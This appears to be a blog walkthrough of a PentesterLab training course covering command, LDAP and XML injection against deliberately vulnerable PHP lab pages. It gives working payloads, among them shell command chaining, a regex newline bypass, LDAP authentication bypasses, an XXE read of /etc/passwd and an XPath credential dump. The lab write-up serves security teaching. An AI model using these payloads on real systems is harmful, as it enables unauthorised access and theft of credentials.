[PentesterLab] Web for Pentester - FINAL

“This course details all you need to know to start doing web penetration testing. PentesterLab tried to put together the basics of web testing and a summary of the most common vulnerabilities with the LiveCD to test them.” – PentesterLab

Due to this is quite a long course, I have to divide the course into several parts and this is the last one will focus on several different types of injection: Commands injection, LDAP injection and XML injection. More information and ISO download please check here. The official course is highly recommanded to read.

Difficulty: 1 / 5

Commands Injection

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

Example 1

Code review:

example1.php
1
2
3
4
5
6
7
<?php require_once("../header.php"); ?>
<pre>
<?php
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

This one is simple and directly exploitable.

From the page we know the command ping $ip is running on server side and return the result to the client. Due to there is no input validation, we can inject payload to construct multi commands in one line with “;”, “|” or “&&”, for example, “ping 127.0.0.1; id” or “ping 127.0.0.1 && id”.

PoC:

http://10.10.10.129/commandexec/example1.php?ip=127.0.0.1 %26%26 id

http://10.10.10.129/commandexec/example1.php?ip=127.0.0.1; id

http://10.10.10.129/commandexec/example1.php?ip=127.0.0.1| id

Example 2

Code review:

example2.php
1
2
3
4
5
6
7
8
9
10
<?php require_once("../header.php"); ?>
<pre>
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

From the source code above, we can see that PRCE Modifier “m” is used in preg_match function. As a result, we can bypass this validation by using newline “%0a”.

PoC:

http://10.10.10.129/commandexec/example2.php?ip=127.0.0.1%0aid

Example 3

Code review:

example3.php
1
2
3
4
5
6
7
8
9
10
<?php require_once("../header.php"); ?>
<pre>
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
     header("Location: example3.php?ip=127.0.0.1");
  }
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

This time the preg_match function did a good validation on user’s input. However, the script didn’t stop when evil character is matched in user’s input. Instead of, it only use header function to do a redirection without die function to stop the script.

So the attacking methods (‘;’, ‘&&’ and ‘|’) still works on this one, but it will need a proxy like burpsuite or nc/telnet to read the first response page.

PoC:

Use NC to exploit this vulnerability

echo -e "GET /commandexec/example3.php?ip=127.0.0.1;id HTTP/1.1\r\nHost: 10.10.10.129\r\nConnection: close\r\n" | nc 10.10.10.129 80

echo -e "GET /commandexec/example3.php?ip=127.0.0.1|id HTTP/1.1\r\nHost: 10.10.10.129\r\nConnection: close\r\n" | nc 10.10.10.129 80

echo -e "GET /commandexec/example3.php?ip=127.0.0.1%26%26id HTTP/1.1\r\nHost: 10.10.10.129\r\nConnection: close\r\n" | nc 10.10.10.129 80

LDAP Injection

LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it’s possible to modify LDAP statements using a local proxy. This could result in the execution of arbitrary commands such as granting permissions to unauthorized queries, and content modification inside the LDAP tree. The same advanced exploitation techniques available in SQL Injection can be similarly applied in LDAP Injection.

https://www.owasp.org/index.php/LDAP_injection LDAP Injection

Example 1

Code review:

example1.php
1
2
3
4
5
6
7
8
9
<?php
  ... ...
  if ($ld) {
   if (isset($_GET["username"])) {
     $user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";
   }
   $lb = @ldap_bind($ld, $user,$_GET["password"]);
   ... ...
?>

Due to the developer use ldap_bind function which will make an anonymous bind if both parameters are not specified, the attacker can bypass the authentication by removing all the parameters from the query.

PoC:

http://10.10.10.129/ldap/example1.php

Example 2

Code review:

example2.php
1
2
3
4
5
6
<?php
      ... ...
  $pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
  $filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
      ... ...
?>

After checking the source code, the attacker can bypass the authentication by using the following exploit payload:

http://10.10.10.129/ldap/example2.php?name=hacker)(cn=*))%00&password=asdfasdf

the variable $filter will become to “(&(cn=hacker)(cn=*))%00)(userPassword=[pass]))” which %00 will get rid of all the following strings.

More information about testing LDAP injection, please check the OWASP article Testing for LDAP Injection

XML Injection

Example 1

Code review:

example1.php
1
2
3
4
5
6
7
<?php require_once("../header.php"); ?>
Hello  
<?php
  $xml=simplexml_load_string($_GET['xml']);
  print_r((string)$xml);
?>
<?php require_once("../footer.php"); ?>

XML eXternal Entity (XXE) attack:

External Entity: The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.

Attacking payload (read system file: /etc/passwd):

<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>

PoC (with URL encoded):

http://10.10.10.129/xml/example1.php?xml=%3C%21DOCTYPE%20test%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2ftest%3E

Example 2

Code review:

example2.php
1
2
3
4
5
6
7
8
9
10
11
<?php require_once("../header.php");

  $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  }
?>

From the source code above, we know that variable $_GET[‘name’] has no input validation and can be used to inject evil code.

In order to dump all the users' credentials, I use the payload “‘ or 1=1]%00” to construct the variable $xpath as follows:

users/user/name[.='' or 1=1]%00']/parent::*/message

Here %00 will get rid of the following strings.

PoC:

http://10.10.10.129/xml/example2.php?name=' or 1=1]%00